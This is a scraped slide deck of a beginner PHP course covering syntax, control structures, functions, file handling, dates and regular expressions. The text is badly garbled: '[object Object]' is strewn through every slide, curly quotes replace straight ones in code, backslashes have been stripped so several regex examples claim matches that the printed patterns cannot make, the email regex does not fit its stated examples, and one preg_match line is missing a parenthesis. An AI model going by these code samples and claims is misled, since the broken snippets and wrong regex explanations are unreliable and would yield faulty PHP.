SlideShare a Scribd company logo

PHP Powerpoint -- Teach PHP with this

Please visit SimplyIan.com while you're at it.

1 of 354
PHP: The Basics,[object Object]
What is it?,[object Object],PHP is a scripting language commonly used on web servers.,[object Object],Stands for “PHP: Hypertext Preprocessor”,[object Object],Open source,[object Object],Embedded code,[object Object],Comparable with ASP,[object Object],Multiple operating systems/web servers,[object Object]
The PHP Resource,[object Object],www.php.net,[object Object]
What can it do?,[object Object],Dynamic generation of web-page content,[object Object],Database interaction,[object Object],Processing of user supplied data,[object Object],Email,[object Object],File handling,[object Object],Text processing,[object Object],Network interaction,[object Object],And more…,[object Object]
Fundamentals,[object Object],PHP is embedded within xhtml pages within the tags: <?php  …  ?>,[object Object],The short version of these tags can also be used: <? …  ?>,[object Object],Each line of PHP is terminated, like MySQL, with a semi-colon.,[object Object]
Hello World!,[object Object],<html> ,[object Object],<head> ,[object Object],<title>PHP Test</title> ,[object Object],</head> ,[object Object],<body> ,[object Object],<?phpecho ‘<p>Hello World!</p>’;?>,[object Object],</body> ,[object Object],</html>,[object Object]
Preparing to code with PHP,[object Object]
Literals..,[object Object],All strings must be enclosed in single of double quotes: ‘Hello’ or “Hello”.,[object Object],Numbers are not in enclosed in quotes: 1 or 45 or 34.564,[object Object],Booleans (true/flase) can be written directly as true or false.,[object Object]
Comments,[object Object],	// This is a comment,[object Object],	# This is also a comment,[object Object],	/* This is a commentthat is spread overmultiple lines */,[object Object],Do not nest multi-line comments,[object Object],// recommended over #,[object Object]
Comments,[object Object],<?php,[object Object],// this is a comment,[object Object],echo ‘Hello World!’;,[object Object],/* another  ,[object Object],   multi-line comment */,[object Object],?>,[object Object]
Displaying Data,[object Object],There are two language constructs available to display data: print() and echo().,[object Object],They can be used with or without brackets.,[object Object],Note that the data ‘displayed’ by PHP is actually parsed by your browser as HTML. View source to see actual output.,[object Object]
Displaying data,[object Object],<?php,[object Object],echo ‘Hello World!<br />’;,[object Object],echo(‘Hello World!<br />’);,[object Object],print ‘Hello World!<br />’;,[object Object],print(‘Hello World!<br />’);,[object Object],?>,[object Object]
Escaping Characters,[object Object],Some characters are considered ‘special’,[object Object],Escape these with a backslash br />Special characters will be flagged when they arise, for example a double or single quote belong in this group…,[object Object]
Escaping Characters,[object Object],<?php,[object Object],// Claire O’Reilly said “Hello”.,[object Object],echo ‘Claire OReilly ’;,[object Object],echo “said Hello.”; ,[object Object],?>,[object Object]
Variables: What are they?,[object Object],When we work in PHP, we often need a labelled place to store a value (be it a string, number, whatever) so we can use it in multiple places in our script.,[object Object],These labelled ‘places’ are called ,[object Object],VARIABLES,[object Object]
Variables: Naming,[object Object],$ followed by variable name,[object Object],Case sensitive,[object Object],$variable differs from $Variable,[object Object],Stick to lower-case to be sure!,[object Object],Name must started with a letter or an underscore,[object Object],Followed by any number of letters, numbers and underscores,[object Object]
Variables: example,[object Object],<?php,[object Object],$name = ‘Phil’;,[object Object],$age  = 23;,[object Object],echo $name;,[object Object],echo ’ is ‘;,[object Object],echo $age;,[object Object],// Phil is 23,[object Object],?>,[object Object]
Constants,[object Object],Constants (unchangeable variables) can also be defined.,[object Object],Each constant is given a name (note no preceding dollar is applied here).,[object Object],By convention, constant names are usually in UPPERCASE.,[object Object]
Constants,[object Object],<?php,[object Object],define(‘NAME’,‘Phil’);,[object Object],define(‘AGE’,23);,[object Object],echo NAME;,[object Object],echo ’ is ‘;,[object Object],echo AGE;,[object Object],// Phil is 23,[object Object],?>,[object Object]
“ or ‘ ?,[object Object],There is a difference between strings written in single and double quotes.,[object Object],In a double-quoted string any variable names are expanded to their values.,[object Object],In a single-quoted string, no variable expansion takes place.,[object Object]
“ or ‘ ?,[object Object],<?php,[object Object],$name = ‘Phil’;,[object Object],$age  = 23;,[object Object],echo “$name is $age”;,[object Object],// Phil is 23,[object Object],?>,[object Object]
“ or ‘ ?,[object Object],<?php,[object Object],$name = ‘Phil’;,[object Object],$age  = 23;,[object Object],echo ‘$name is $age’;,[object Object],// $name is $age,[object Object],?>,[object Object]
Review,[object Object],We’ve started PHP..,[object Object],Escaping XHTML,[object Object],Comments,[object Object],Basic Syntax,[object Object],Variables,[object Object],Constants,[object Object]
PHP: Moving On..,[object Object]
Expressions and Operators,[object Object]
Reminder,[object Object],PHP is embedded within xhtml pages within the tags: <?php  …  ?>,[object Object],The short version of these tags can also be used: <? …  ?>,[object Object],Each line of PHP is terminated, like MySQL, with a semi-colon.,[object Object]
Reminder,[object Object],Variables are automatically initialised when you start to use them.,[object Object],e.g.   ,[object Object],<?php,[object Object],	$name = ‘Rob’;,[object Object],echo $name;,[object Object],?>,[object Object]
Expressions,[object Object],Using variables within expressions to do something is what PHP is all about.,[object Object],	<?php,[object Object],	$name = ‘Rob’;,[object Object],echo $name;,[object Object],?>,[object Object],Expression,[object Object],Operator,[object Object]
Some Types of Operator,[object Object],[object Object]
Logical
StringArithmetic,[object Object],Assignment,[object Object],Bitwise,[object Object],Comparison,[object Object],Ternary,[object Object]
String Operators,[object Object],Use a dot to concatenate two strings:,[object Object],e.g.,[object Object],	$firstname = ‘Rob’;,[object Object],	$surname = ‘Tuley’;,[object Object],// displays ‘Rob Tuley’,[object Object],echo $firstname.’ ‘.$surname;,[object Object]
Arithmetic Operators,[object Object]
Assignment Operators,[object Object]
Combining Operators,[object Object],Note that you can combine operators, for example use =, + and / in one expression:,[object Object],	$a = 4;,[object Object],	$b = 2;,[object Object],	$c = $a + $b + ($a/$b);,[object Object],// $c has value 4+2+(4/2) = 8,[object Object],Brackets help group operators.,[object Object]
Comparison Operators,[object Object]
Comparisons,[object Object],Comparison expressions return a value of TRUE (or ‘1’) or FALSE (or ‘0’). ,[object Object],e.g.,[object Object],	$a = 10;,[object Object],	$b = 13;,[object Object],// result is true (‘1’) ,[object Object],echo $a < $b;,[object Object]
Incrementing/Decrementing,[object Object]
Logical Operators,[object Object]
Finally, a tricky one!,[object Object],A single ? is the ternary operator.,[object Object],(expr) ? if_expr_true : if_expr_false;,[object Object],A test expression evaluates to TRUE or FALSE. ,[object Object],TRUE gives first result (before colon),[object Object],FALSE gives second result (after colon),[object Object]
Ternary Operator example,[object Object],<?php,[object Object],$a = 10;,[object Object],$b = 13;,[object Object],echo $a<$b ? ‘a smaller’:‘b smaller’;,[object Object],// string ‘a smaller’ is echoed ,[object Object],// to the browser..,[object Object],?>,[object Object]
Groups of variables,[object Object],So far, we have stored ONE piece of data in each variable. ,[object Object],It is also possible to store multiple pieces of data in ONE variable by using an array.,[object Object],Each piece of data in an array has a key.. ,[object Object]
An array,[object Object],Normal Variable, no key:,[object Object],$name = ‘Rob’;,[object Object],Array Variable, multiple pieces with ‘keys’:,[object Object],$name[0] = ‘Rob’;,[object Object],		$name[1] = ‘Si’;,[object Object],		$name[2] = ‘Sarah’;,[object Object],		…,[object Object],The ‘key’,[object Object]
Array keys,[object Object],Array keys can be strings as well as numbers..,[object Object],	$surname[‘rob’] = ‘Tuley’;,[object Object],	$surname[‘si’] = ‘Lewis’;,[object Object],Notice the way that the key is specified, in square brackets following the variable name.,[object Object]
Working with arrays..,[object Object],Create Array (automatic keys):,[object Object],$letters = array('a','b','c','d');,[object Object],The array keys are automatically assigned by PHP as 0, 1, 2, 3,[object Object],i.e. $letters[1] has value‘b’,[object Object],Create Array (explicit keys):,[object Object],	$letters = array(10=>’a’,13=>’b’);,[object Object],	i.e. $letters[13] has value‘b’,[object Object]
Working with arrays…,[object Object],Create array (component by component):,[object Object],	$letters[10] = ‘a’;,[object Object],	$letters[13] = ‘b’;,[object Object],Access array component:,[object Object],echo $letters[10];,[object Object],	// displays a,[object Object],	echo $letters[10].$letters[13];,[object Object],	// displays ab,[object Object]
Working with arrays…,[object Object],Note that trying to echo an entire array will not display the data. To print an entire array to screen (for debug, for example) use the function print_r instead.,[object Object],	echo $letters;,[object Object],	print_r($letters);,[object Object]
So..,[object Object],We know we can:,[object Object],Store things in named variables.,[object Object],Use expressions to operate on the contents of these variables.,[object Object],Can compare variables..,[object Object],	How do we actually include logic in the code such as ‘if this is bigger than that, do this’?,[object Object]
Control Structures,[object Object],if, elseif, else,[object Object],while, do … while,[object Object],for, foreach,[object Object],switch,[object Object],break, continue, return,[object Object],require, include, require_once, include_once,[object Object]
If …,[object Object],To do something depending on a comparison, use an if statement.,[object Object],if (comparison) {,[object Object],expressions; // do if TRUE,[object Object],	},[object Object],NB: Notice the curly brackets – these are important!,[object Object]
If example,[object Object],<?php,[object Object],	$a = 10;,[object Object],	$b = 13;,[object Object],if ($a<$b) {,[object Object],echo‘a is smaller than b’;,[object Object],	},[object Object],?>,[object Object]
Extending IF statements,[object Object],It is possible to add extra optional clauses to if statements..,[object Object],	if (comparison) {,[object Object],expressions; // do if TRUE,[object Object],	} else {,[object Object],expressions; // do otherwise,[object Object],	},[object Object]
Extending If statements,[object Object],	if (comparison1) {,[object Object],expressions;,[object Object],	} elseif (comparison2) {,[object Object],expressions; ,[object Object],	} else {,[object Object],		expressions;,[object Object],	},[object Object]
An example..,[object Object],$a = 10;,[object Object],$b = 13;,[object Object],if ($a<$b) {,[object Object],echo‘a is smaller than b’;,[object Object],} elseif ($a==$b) {,[object Object],echo‘a is equal to b’;,[object Object],} else {,[object Object],echo‘a is bigger than b’;,[object Object],},[object Object]
While loops,[object Object],Might want to do something repeatedly while a comparison is true..,[object Object],while (comparison) {expressions;,[object Object],	} ,[object Object]
Example,[object Object],Lets count to 10! Displays 1,2,3,4,5,..,10:,[object Object],$i = 1;,[object Object],while ($i <= 10) {   echo $i++; ,[object Object],},[object Object]
Do .. While,[object Object],An alternative... ,[object Object],$i = 1;,[object Object],do {   echo $i++; ,[object Object],} while ($i <= 10); ,[object Object]
For loop,[object Object],Sometimes we want to loop around the same bit of code a number of times.. Use a for loop.,[object Object],for (expr1; expr2; expr3) { statements; },[object Object],expr1 evaluated/executed initially,[object Object],expr2 evaluated at beginning of each iteration (Continues if TRUE),[object Object],expr3 evaluated/executed at end of each iteration,[object Object]
For loop example,[object Object],To count from 1 to 10:,[object Object],for ($i=1; $i<=10; $i++) {,[object Object],echo $i;,[object Object],	},[object Object],Continue if true,[object Object],initialise,[object Object],Execute at end of loop,[object Object]
Foreach loop,[object Object],A foreach loop is designed for arrays. Often you want to loop through each item in an array in turn..,[object Object],	$letters = array(‘a’,’b’,’c’);,[object Object],	foreach ($letters as $value) {   echo $value; ,[object Object],	} // outputs a,b,c in turn,[object Object]
Foreach.. With keys,[object Object],Sometimes we want to use the array ‘key’ value too:,[object Object],$letters = array(‘a’,’b’,’c’);,[object Object],	foreach ($letters as $key => $value) {   echo“array $key to $value”; ,[object Object],	},[object Object]
Switch statement,[object Object],switch (expr) {,[object Object],case (result1):,[object Object],statements;,[object Object],break;,[object Object],case (result2):,[object Object],statements;,[object Object],break;,[object Object],default:,[object Object],statements;,[object Object],},[object Object],[object Object]
Case corresponding to result is executed
Otherwise default case is executed
break
Ensures next case isn’t executed,[object Object]
break, continue, return,[object Object],break,[object Object],Ends execution of current for, foreach, do … while, while or switch structure,[object Object],Option: Number of nested structures to break out of,[object Object],continue,[object Object],Skip rest of current loop,[object Object],Option: Number of nested loops to skip,[object Object],return,[object Object],Ends execution of current function/statement/script,[object Object]
Indentation..,[object Object],Code readability IS important – notice how all the code inside a loop/control structure is indented.,[object Object],Once you start writing nested control loops, indentation is the only way to keep track of your code!,[object Object]
require, include,[object Object],require('filename.ext'),[object Object],Includes and evaluates the specified file,[object Object],Error is fatal (will halt processing),[object Object],include('filename.ext'),[object Object],Includes and evaluates the specified file,[object Object],Error is a warning (processing continues),[object Object],require_once/ include_once,[object Object],If already included won’t be included again,[object Object]
Code Re-use,[object Object],Often you will want to write a piece of code and re-use it several times (maybe within the same script, or maybe between different scripts).,[object Object],Functions are a very nice way to encapsulate such pieces of code..,[object Object]
Eh..? What?,[object Object],You have already used functions..,[object Object],echo(‘text to display’);,[object Object],Function NAME,[object Object],Function ARGUMENT,[object Object]
What is a function?,[object Object],A function takes some arguments (inputs) and does something with them (echo, for example, outputs the text input to the user).,[object Object],As well as the inbuilt PHP functions, we can define our own functions..,[object Object]
Definition vs. Calling,[object Object],There are two distinct aspects to functions:,[object Object],Definition: Before using a function, that function must be defined – i.e. what inputs does it need, and what does it do with them?,[object Object],Calling: When you call a function, you actually execute the code in the function.,[object Object]
Function Definition,[object Object],A function accepts any number of input arguments, and returns a SINGLE value.,[object Object],functionmyfunction($arg1,$arg2,…,$argN),[object Object],{,[object Object],statements;,[object Object],return $return_value;,[object Object],},[object Object]
Example,[object Object],Function to join first and last names together with a space..,[object Object],function make_name($first,$last) ,[object Object],{,[object Object],$fullname = $first.’ ‘.$last;,[object Object],return $fullname;,[object Object],},[object Object]
Calling functions..,[object Object],Can be done anywhere..,[object Object],myfunction($arg1,$arg2,…,$argN),[object Object],or,[object Object],$answer = myfunction($arg1,$arg2,…,$argN),[object Object],e.g.,[object Object],echo make_name(‘Rob’,’Tuley’);,[object Object],// echoes ‘Rob Tuley’,[object Object]
Functions: Return Values,[object Object],Use return(),[object Object],Causes execution of function to cease,[object Object],Control returns to calling script,[object Object],To return multiple values,[object Object],Return an array,[object Object],If no value returned,[object Object],NULL,[object Object]
‘Scope’,[object Object],A function executes within its own little protected bubble, or local scope.,[object Object],What does this mean? Its means that the function can’t ‘see’ any of the variables you have defined apart from those passed in as arguments..,[object Object],Each new function call starts a clean slate in terms of internal function variables.,[object Object]
In other words..,[object Object],Variables within a function,[object Object],Are local to that function,[object Object],Disappear when function execution ends,[object Object],Variables outside a function,[object Object],Are not available within the function,[object Object],Unless set as global,[object Object],Remembering variables,[object Object],Not stored between function calls,[object Object],Unless set as static,[object Object]
Global variables..,[object Object],To access a variable outside the ‘local’ scope of a function, declare it as a global:,[object Object],function add5toa(),[object Object],{,[object Object],	global $a;,[object Object],	$a = $a  + 5;,[object Object],} ,[object Object],$a = 9;,[object Object],add5toa();,[object Object],echo $a; // 14,[object Object]
Static Variables,[object Object],Local function variable values are not saved between function calls unless they are declared as static:,[object Object],function counter(),[object Object],{,[object Object],	static $num = 0;,[object Object],return ++$num;,[object Object],} ,[object Object],echo counter(); // 1,[object Object],echo counter(); // 2,[object Object],echo counter(); // 3,[object Object]
Default Arguments,[object Object],Can specify a default value in the function definition which is used only if no value is passed to the function when called..,[object Object],Defaults must be specified last in the list,[object Object],function myfunction($arg1,$arg2=‘blah’)…,[object Object],function myfunction($arg1=‘blah’,$arg2)…,[object Object]
Passing References,[object Object],Pass a reference to a variable,[object Object],Not the actual variable,[object Object],Why?,[object Object],Enables a function to modify its arguments,[object Object],How?,[object Object],Use an ampersand in front of the variable,[object Object],&$variable,[object Object]
Review,[object Object],More PHP!,[object Object],Expressions,[object Object],Operators,[object Object],Control Structures,[object Object],Functions,[object Object]
File Handling with PHP ,[object Object]
Files and PHP,[object Object],File Handling,[object Object],Data Storage,[object Object],Though slower than a database,[object Object],Manipulating uploaded files,[object Object],From forms,[object Object],Creating Files for download,[object Object]
Open/Close a File,[object Object],A file is opened with fopen() as a “stream”, and PHP returns a ‘handle’ to the file that can be used to reference the open file in other functions.,[object Object],Each file is opened in a particular mode.,[object Object],A file is closed with fclose() or when your script ends.,[object Object]
File Open Modes,[object Object]
File Open/Close Example,[object Object],<?php,[object Object],// open file to read,[object Object],$toread = fopen(‘some/file.ext’,’r’);,[object Object],// open (possibly new) file to write,[object Object],$towrite = fopen(‘some/file.ext’,’w’);,[object Object],// close both files,[object Object],fclose($toread);,[object Object],fclose($towrite);,[object Object],?>,[object Object]
Now what..?,[object Object],If you open a file to read, you can use more in-built PHP functions to read data..,[object Object],If you open the file to write, you can use more in-built PHP functions to write..,[object Object]
Reading Data,[object Object],There are two main functions to read data:,[object Object],fgets($handle,$bytes),[object Object],Reads up to $bytes of data, stops at newline or end of file (EOF),[object Object],fread($handle,$bytes),[object Object],Reads up to $bytes of data, stops at EOF.,[object Object]
Reading Data,[object Object],We need to be aware of the End Of File (EOF) point..,[object Object],feof($handle),[object Object],Whether the file has reached the EOF point. Returns true if have reached EOF.,[object Object]
Data Reading Example,[object Object],		$handle = fopen('people.txt', 'r');,[object Object],		while (!feof($handle)) {,[object Object],			echo fgets($handle, 1024);,[object Object],			echo '<br />';,[object Object],			},[object Object],fclose($handle);,[object Object]
Data Reading Example,[object Object],		$handle = fopen('people.txt', 'r');,[object Object],		while (!feof($handle)) {,[object Object],			echo fgets($handle, 1024);,[object Object],			echo '<br />';,[object Object],			},[object Object],fclose($handle);,[object Object],$handle = fopen('people.txt', 'r');,[object Object],Open the file and assign the resource to $handle,[object Object]
Data Reading Example,[object Object],		$handle = fopen('people.txt', 'r');,[object Object],		while (!feof($handle)) {,[object Object],			echo fgets($handle, 1024);,[object Object],			echo '<br />';,[object Object],			},[object Object],fclose($handle);,[object Object],while (!feof($handle)) {,[object Object],	echo fgets($handle, 1024);,[object Object],	echo '<br />';,[object Object],	},[object Object],While NOT at the end of the file, pointed to by $handle,,[object Object],get and echo the data line by line,[object Object]
Data Reading Example,[object Object],		$handle = fopen('people.txt', 'r');,[object Object],		while (!feof($handle)) {,[object Object],			echo fgets($handle, 1024);,[object Object],			echo '<br />';,[object Object],			},[object Object],fclose($handle);,[object Object],Close the file,[object Object],fclose($handle);,[object Object]
File Open shortcuts..,[object Object],There are two ‘shortcut’ functions that don’t require a file to be opened:,[object Object],$lines = file($filename),[object Object],Reads entire file into an array with each line a separate entry in the array.,[object Object],$str = file_get_contents($filename),[object Object],Reads entire file into a single string.,[object Object]
Writing Data,[object Object],To write data to a file use:,[object Object],fwrite($handle,$data),[object Object],Write $data to the file.,[object Object]
Data Writing Example,[object Object],		$handle = fopen('people.txt', 'a');,[object Object],fwrite($handle, “Fred:Male”);,[object Object],fclose($handle);,[object Object]
Data Writing Example,[object Object],		$handle = fopen('people.txt', 'a');,[object Object],fwrite($handle, 'Fred:Male');,[object Object],fclose($handle);,[object Object],Open file to append data (mode 'a') ,[object Object],$handle = fopen('people.txt', 'a');,[object Object],fwrite($handle, “Fred:Male”);,[object Object],Write new data (with line break after previous data) ,[object Object]
Other File Operations,[object Object],Delete file,[object Object],unlink('filename');,[object Object],Rename (file or directory),[object Object],rename('old name', 'new name');,[object Object],Copy file,[object Object],copy('source', 'destination');,[object Object],And many, many more!,[object Object],www.php.net/manual/en/ref.filesystem.php,[object Object]
Dealing With Directories,[object Object],Open a directory,[object Object],$handle = opendir('dirname');,[object Object],$handle 'points' to the directory,[object Object],Read contents of directory,[object Object],readdir($handle),[object Object],Returns name of next file in directory,[object Object],Files are sorted as on filesystem,[object Object],Close a directory,[object Object],closedir($handle),[object Object],Closes directory 'stream',[object Object]
Directory Example,[object Object],	$handle = opendir('./');,[object Object],while(false !== ($file=readdir($handle))),[object Object],		{,[object Object],echo"$file<br />";,[object Object],		},[object Object],closedir($handle);,[object Object]
Directory Example,[object Object],	$handle = opendir('./');,[object Object],while(false !== ($file=readdir($handle))),[object Object],		{,[object Object],echo"$file<br />";,[object Object],		},[object Object],closedir($handle);,[object Object],$handle = opendir('./');,[object Object],Open current directory,[object Object]
Directory Example,[object Object],	$handle = opendir('./');,[object Object],while(false !== ($file=readdir($handle))),[object Object],		{,[object Object],echo"$file<br />";,[object Object],		},[object Object],closedir($handle);,[object Object],while(false !== ($file=readdir($handle))),[object Object],	{,[object Object],echo"$file<br />";,[object Object],	},[object Object],Whilst readdir() returns a name, loop through directory contents, echoing results,[object Object]
Directory Example,[object Object],	$handle = opendir('./');,[object Object],while(false !== ($file=readdir($handle))),[object Object],		{,[object Object],echo"$file<br />";,[object Object],		},[object Object],closedir($handle);,[object Object],closedir($handle);,[object Object],Close the directory stream,[object Object]
Other Directory Operations,[object Object],Get current directory,[object Object],getcwd(),[object Object],Change Directory,[object Object],chdir('dirname');,[object Object],Create directory,[object Object],mkdir('dirname');,[object Object],Delete directory (MUST be empty),[object Object],rmdir('dirname');,[object Object],And more!,[object Object],www.php.net/manual/en/ref.dir.php,[object Object]
Review,[object Object],Can open and close files.,[object Object],Can read a file line by line or all at one go.,[object Object],Can write to files.,[object Object],Can open and cycle through the files in a directory.,[object Object]
Date Manipulation,[object Object]
Unix Epoch..?,[object Object],The easiest way to handle dates in PHP is using UNIX timestamps.,[object Object],A UNIX timestamp is the number of seconds since the UNIX Epoch.,[object Object],The Epoch is 1st Jan 1970 00:00 GMT.,[object Object]
Get current time,[object Object],Use the time() function to get current or relative time.,[object Object],<?php,[object Object],$now = time();,[object Object],$nextWeek = time() + (7 * 24 * 60 * 60);    // 7 days; 24 hours; 60 mins; 60secs,[object Object],?>,[object Object]
Display a time..,[object Object],To display a time use the date() function along with a format string.,[object Object],<?php,[object Object],$nextWeek = time() + (7*24*60*60);,[object Object],echo‘Next week: ‘;,[object Object],echo date(‘d-m-Y’,$nextWeek).’<br />’;,[object Object],?>,[object Object],Format strings: http://php.net/manual/en/function.date.php,[object Object]
String to timestamp,[object Object],To convert a string to date, use strtotime(),[object Object],<?php,[object Object],echo strtotime("now");,[object Object],echo strtotime("10 September 2000");,[object Object],echo strtotime("+1 day");,[object Object],echo strtotime("+1 week");,[object Object],echo strtotime("next Thursday");,[object Object],echo strtotime("last Monday");,[object Object],?>,[object Object]
String to timestamp,[object Object],Note that strtotime() assume a US date format on string such as mm/dd/yyyy, so some modifications may be required.,[object Object]
What about dates before 1970?,[object Object],Negative timestamps are not consistently supported in PHP. ,[object Object],Therefore we cannot use timestamps when using dates that might be before 1970.,[object Object]
The full information..,[object Object],http://php.net/manual/en/ref.datetime.php,[object Object],	We have looked at a sub-selection of this information. If you want to do something with dates.. This is the place to start looking.,[object Object]
Review,[object Object],Know what an integer UNIX date is.,[object Object],Can manipulate dates in PHP: creating, displaying, parsing from string data.,[object Object]
Data Manipulation & Regex ,[object Object]
What..?,[object Object],Often in PHP we have to get data from files, or maybe through forms from a user.,[object Object],Before acting on the data, we:,[object Object],Need to put it in the format we require.,[object Object],Check that the data is actually valid.,[object Object]
What..?,[object Object],To achieve this, we need to learn about PHP functions that check values, and manipulate data.,[object Object],Input PHP functions.,[object Object],Regular Expressions (Regex).,[object Object]
PHP Functions,[object Object],There are a lot of useful PHP functions to manipulate data. ,[object Object],We’re not going to look at them all – we’re not even going to look at most of them…,[object Object],http://php.net/manual/en/ref.strings.php,[object Object],http://php.net/manual/en/ref.ctype.php,[object Object],http://php.net/manual/en/ref.datetime.php,[object Object]
Useful Functions: splitting,[object Object],Often we need to split data into multiple pieces based on a particular character.,[object Object],Use explode().,[object Object],// expand user supplied date..,[object Object],$input = ‘1/12/2007’;,[object Object],$bits  = explode(‘/’,$input);,[object Object],// array(0=>1,1=>12,2=>2007),[object Object]
Useful functions: trimming,[object Object],Removing excess whitespace..,[object Object],Use trim(),[object Object],// a user supplied name..,[object Object],$input = ‘   Rob    ’;,[object Object],$name  = trim($input);,[object Object],// ‘Rob’,[object Object]
Useful functions: string replace,[object Object],To replace all occurrences of a string in another string use str_replace(),[object Object],// allow user to user a number ,[object Object],   of date separators,[object Object],$input  = ’01.12-2007’;,[object Object],$clean  = str_replace(array(‘.’,’-’),,[object Object],                      ‘/’,$input);,[object Object],// 01/12/2007,[object Object]
Useful functions: cAsE,[object Object],To make a string all uppercase use strtoupper().,[object Object],To make a string all uppercase use strtolower().,[object Object],To make just the first letter upper case use ucfirst().,[object Object],To make the first letter of each word in a string uppercase use ucwords().,[object Object]
Useful functions: html sanitise,[object Object],To make a string “safe” to output as html use htmlentities(),[object Object],// user entered comment,[object Object],$input  = ’The <a> tag & ..’;,[object Object],$clean  = htmlentities($input);,[object Object],// ‘The &lt;a&gt; tag &amp; ..’,[object Object]
More complicated checks..,[object Object],It is usually possible to use a combination of various built-in PHP functions to achieve what you want.,[object Object],However, sometimes things get more complicated. When this happens, we turn to Regular Expressions.,[object Object]
Regular Expressions,[object Object],Regular expressions are a concise (but obtuse!) way of pattern matching within a string.,[object Object],There are different flavours of regular expression (PERL & POSIX), but we will just look at the faster and more powerful version (PERL).,[object Object]
Some definitions,[object Object],‘rob@example.com’,[object Object],'/^[a-z_-]+@([a-z-]+)+[a-z]{2,6}$/i‘,[object Object],preg_match(), preg_replace(),[object Object],Actual data that we are going to work upon (e.g. an email address string),[object Object],Definition of the string pattern (the ‘Regular Expression’).,[object Object],PHP functions to do something with data and regular expression.,[object Object]
Regular Expressions,[object Object],'/^[a-z_-]+@([a-z-]+)+[a-z]{2,6}$/i‘,[object Object],Are complicated!,[object Object],They are a definition of a pattern. Usually used to validate or extract data from a string.,[object Object]
Regex: Delimiters ,[object Object],The regex definition is always bracketed by delimiters, usually a ‘/’:,[object Object],	$regex = ’/php/’;,[object Object],	Matches: ‘php’, ’I love php’,[object Object],	Doesn’t match: ‘PHP’,[object Object],‘I love ph’,[object Object]
Regex: First impressions ,[object Object],Note how the regular expression matches anywhere in the string: the whole regular expression has to be matched, but the whole data string doesn’t have to be used.,[object Object],It is a case-sensitive comparison.,[object Object]
Regex: Case insensitive ,[object Object],Extra switches can be added after the last delimiter. The only switch we will use is the ‘i’ switch to make comparison case insensitive:,[object Object],	$regex = ’/php/i’;,[object Object],	Matches: ‘php’, ’I love pHp’,,[object Object],	         ‘PHP’,[object Object],	Doesn’t match: ‘I love ph’,[object Object]
Regex: Character groups ,[object Object],A regex is matched character-by-character. You can specify multiple options for a character using square brackets:,[object Object],	$regex = ’/p[hu]p/’;,[object Object],	Matches: ‘php’, ’pup’,[object Object],	Doesn’t match: ‘phup’, ‘pop’,,[object Object],	               ‘PHP’,[object Object]
Regex: Character groups ,[object Object],You can also specify a digit or alphabetical range in square brackets:,[object Object],	$regex = ’/p[a-z1-3]p/’;,[object Object],	Matches: ‘php’, ’pup’,,[object Object],	         ‘pap’, ‘pop’, ‘p3p’,[object Object],	Doesn’t match: ‘PHP’, ‘p5p’,[object Object]
Regex: Predefined Classes,[object Object],There are a number of pre-defined classes available:,[object Object]
Regex: Predefined classes ,[object Object],	$regex = ’/pp/’;,[object Object],	Matches: ‘p3p’, ’p7p’,,[object Object],	Doesn’t match: ‘p10p’, ‘P7p’,[object Object],	$regex = ’/pp/’;,[object Object],	Matches: ‘p3p’, ’pHp’, ’pop’,[object Object],	Doesn’t match: ‘phhp’,[object Object]
Regex: the Dot ,[object Object],The special dot character matches anything apart from line breaks:,[object Object],	$regex = ’/p.p/’;,[object Object],	Matches: ‘php’, ’p&p’,,[object Object],	         ‘p(p’, ‘p3p’, ‘p$p’,[object Object],	Doesn’t match: ‘PHP’, ‘phhp’,[object Object]
Regex: Repetition,[object Object],There are a number of special characters that indicate the character group may be repeated:,[object Object]
Regex: Repetition ,[object Object],	$regex = ’/ph?p/’;,[object Object],	Matches: ‘pp’, ’php’,,[object Object],	Doesn’t match: ‘phhp’, ‘pap’,[object Object],	$regex = ’/ph*p/’;,[object Object],	Matches: ‘pp’, ’php’, ’phhhhp’,[object Object],	Doesn’t match: ‘pop’, ’phhohp’,[object Object]
Regex: Repetition ,[object Object],	$regex = ’/ph+p/’;,[object Object],	Matches: ‘php’, ’phhhhp’,,[object Object],	Doesn’t match: ‘pp’, ‘phyhp’,[object Object],	$regex = ’/ph{1,3}p/’;,[object Object],	Matches: ‘php’, ’phhhp’,[object Object],	Doesn’t match: ‘pp’, ’phhhhp’,[object Object]
Regex: Bracketed repetition ,[object Object],The repetition operators can be used on bracketed expressions to repeat multiple characters:,[object Object],	$regex = ’/(php)+/’;,[object Object],	Matches: ‘php’, ’phpphp’,,[object Object],	         ‘phpphpphp’,[object Object],	Doesn’t match: ‘ph’, ‘popph’,[object Object],Will it match ‘phpph’?,[object Object]
Regex: Anchors,[object Object],So far, we have matched anywhere within a string (either the entire data string or part of it). We can change this behaviour by using anchors:,[object Object]
Regex: Anchors ,[object Object],With NO anchors:,[object Object],	$regex = ’/php/’;,[object Object],	Matches: ‘php’, ’php is great’,,[object Object],	         ‘in php we..’,[object Object],	Doesn’t match: ‘pop’,[object Object]
Regex: Anchors ,[object Object],With start and end anchors:,[object Object],	$regex = ’/^php$/’;,[object Object],	Matches: ‘php’, ,[object Object],	Doesn’t match: ’php is great’,,[object Object],	         ‘in php we..’, ‘pop’,[object Object]
Regex: Escape special characters,[object Object],We have seen that characters such as ?,.,$,*,+ have a special meaning. If we want to actually use them as a literal, we need to escape them with a backslash.,[object Object],	$regex = ’/pp/’;,[object Object],	Matches: ‘p.p’,[object Object],	Doesn’t match: ‘php’, ‘p1p’,[object Object]
So.. An example,[object Object],Lets define a regex that matches an email:,[object Object],$emailRegex ='/^[a-z_-]+@([a-z-]+)+[a-z]{2,6}$/i‘;,[object Object],	Matches: ‘rob@example.com’,,[object Object],	         ‘rob@subdomain.example.com’,[object Object],	         ‘a_n_other@example.co.uk’,[object Object],	Doesn’t match: ‘rob@exam@ple.com’,[object Object],	               ‘not.an.email.com’,[object Object]
So.. An example,[object Object],/^,[object Object],[a-z_-]+,[object Object],@,[object Object],([a-z-]+)+,[object Object],[a-z]{2,6},[object Object],$/i,[object Object],Starting delimiter, and start-of-string anchor,[object Object],User name – allow any length of letters, numbers, dots, underscore or dashes,[object Object],The @ separator,[object Object],Domain (letters, digits or dash only). Repetition to include subdomains.,[object Object],com,uk,info,etc.,[object Object],End anchor, end delimiter, case insensitive,[object Object]
Phew..,[object Object],So we now know how to define regular expressions. Further explanation can be found at:,[object Object],http://www.regular-expressions.info/,[object Object],We still need to know how to use them!,[object Object]
Boolean Matching,[object Object],We can use the function preg_match() to test whether a string matches or not.,[object Object],// match an email,[object Object],$input = ‘rob@example.com’;,[object Object],if (preg_match($emailRegex,$input) {,[object Object],echo‘Is a valid email’;,[object Object],} else {,[object Object],echo‘NOT a valid email’;,[object Object],},[object Object]
